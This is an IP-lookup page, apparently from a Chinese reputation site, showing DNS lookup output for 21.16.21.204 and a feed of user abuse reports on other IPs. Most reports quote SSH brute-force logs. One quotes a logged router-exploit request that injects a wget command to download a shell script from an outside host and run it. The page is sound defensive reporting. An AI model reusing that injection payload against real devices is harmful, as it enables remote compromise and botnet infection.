必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): unknown

省份(region): unknown

国家(country): United States

运营商(isp): unknown

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:
暂无关于此IP的讨论, 沙发请点上方按钮
相同子网IP讨论:
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WHOIS信息:
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DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 21.16.21.204
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 17094
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;21.16.21.204.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025062801 1800 900 604800 86400

;; Query time: 60 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Jun 29 12:12:59 CST 2025
;; MSG SIZE  rcvd: 105
HOST信息:
Host 204.21.16.21.in-addr.arpa. not found: 3(NXDOMAIN)
NSLOOKUP信息:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 204.21.16.21.in-addr.arpa: NXDOMAIN
相关IP信息:
最新评论:
IP 类型 评论内容 时间
152.136.72.17 attack
Nov 25 02:14:10 server sshd\[29452\]: Invalid user wease from 152.136.72.17
Nov 25 02:14:10 server sshd\[29452\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=152.136.72.17 
Nov 25 02:14:11 server sshd\[29452\]: Failed password for invalid user wease from 152.136.72.17 port 37914 ssh2
Nov 25 02:40:36 server sshd\[3661\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=152.136.72.17  user=root
Nov 25 02:40:38 server sshd\[3661\]: Failed password for root from 152.136.72.17 port 38396 ssh2
...
2019-11-25 08:40:39
106.51.230.186 attackspambots
Nov 24 14:33:43 tdfoods sshd\[2470\]: Invalid user arons from 106.51.230.186
Nov 24 14:33:43 tdfoods sshd\[2470\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.51.230.186
Nov 24 14:33:45 tdfoods sshd\[2470\]: Failed password for invalid user arons from 106.51.230.186 port 54822 ssh2
Nov 24 14:41:56 tdfoods sshd\[3222\]: Invalid user magalie from 106.51.230.186
Nov 24 14:41:56 tdfoods sshd\[3222\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.51.230.186
2019-11-25 09:05:41
103.55.91.4 attackbots
Nov 25 00:58:58 MK-Soft-VM3 sshd[28377]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.55.91.4 
Nov 25 00:59:00 MK-Soft-VM3 sshd[28377]: Failed password for invalid user ahile from 103.55.91.4 port 58368 ssh2
...
2019-11-25 08:45:08
58.220.87.226 attackspam
Nov 25 02:00:44 jane sshd[11079]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.220.87.226 
Nov 25 02:00:46 jane sshd[11079]: Failed password for invalid user kylie from 58.220.87.226 port 54418 ssh2
...
2019-11-25 09:02:30
202.169.56.98 attackspam
Nov 24 11:15:46 server sshd\[24246\]: Failed password for invalid user zimbra from 202.169.56.98 port 43358 ssh2
Nov 24 17:50:39 server sshd\[28337\]: Invalid user jboss from 202.169.56.98
Nov 24 17:50:39 server sshd\[28337\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.169.56.98 
Nov 24 17:50:41 server sshd\[28337\]: Failed password for invalid user jboss from 202.169.56.98 port 51339 ssh2
Nov 25 02:49:28 server sshd\[5413\]: Invalid user applmgr from 202.169.56.98
Nov 25 02:49:28 server sshd\[5413\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.169.56.98 
...
2019-11-25 08:42:30
178.150.216.229 attack
Nov 24 14:34:45 web1 sshd\[19363\]: Invalid user lool from 178.150.216.229
Nov 24 14:34:45 web1 sshd\[19363\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.150.216.229
Nov 24 14:34:48 web1 sshd\[19363\]: Failed password for invalid user lool from 178.150.216.229 port 56874 ssh2
Nov 24 14:40:53 web1 sshd\[19991\]: Invalid user paresh from 178.150.216.229
Nov 24 14:40:53 web1 sshd\[19991\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.150.216.229
2019-11-25 08:56:19
162.243.59.16 attack
Nov 25 02:05:44 host sshd[24523]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=162.243.59.16  user=root
Nov 25 02:05:46 host sshd[24523]: Failed password for root from 162.243.59.16 port 33470 ssh2
...
2019-11-25 09:06:45
58.8.194.188 attackbots
19/11/24@17:55:35: FAIL: IoT-Telnet address from=58.8.194.188
...
2019-11-25 09:12:41
157.55.39.231 attackspam
Automatic report - Banned IP Access
2019-11-25 08:44:52
165.227.77.120 attackbots
Nov 25 02:09:05 vmd17057 sshd\[4141\]: Invalid user hauteville from 165.227.77.120 port 59432
Nov 25 02:09:05 vmd17057 sshd\[4141\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=165.227.77.120
Nov 25 02:09:06 vmd17057 sshd\[4141\]: Failed password for invalid user hauteville from 165.227.77.120 port 59432 ssh2
...
2019-11-25 09:09:28
82.222.68.204 attack
MultiHost/MultiPort Probe, Scan, Hack -
2019-11-25 08:46:52
35.176.175.246 attackspambots
Fail2Ban Ban Triggered
2019-11-25 08:44:19
106.12.10.203 attackbotsspam
106.12.10.203 - - [24/Nov/2019:23:55:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://54.37.74.232/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 166 "-" "Hakai/2.0"
...
2019-11-25 09:12:14
34.95.212.142 attackspam
34.95.212.142 was recorded 5 times by 1 hosts attempting to connect to the following ports: 23. Incident counter (4h, 24h, all-time): 5, 5, 5
2019-11-25 09:10:44
159.203.201.128 attackbots
scan z
2019-11-25 08:43:30

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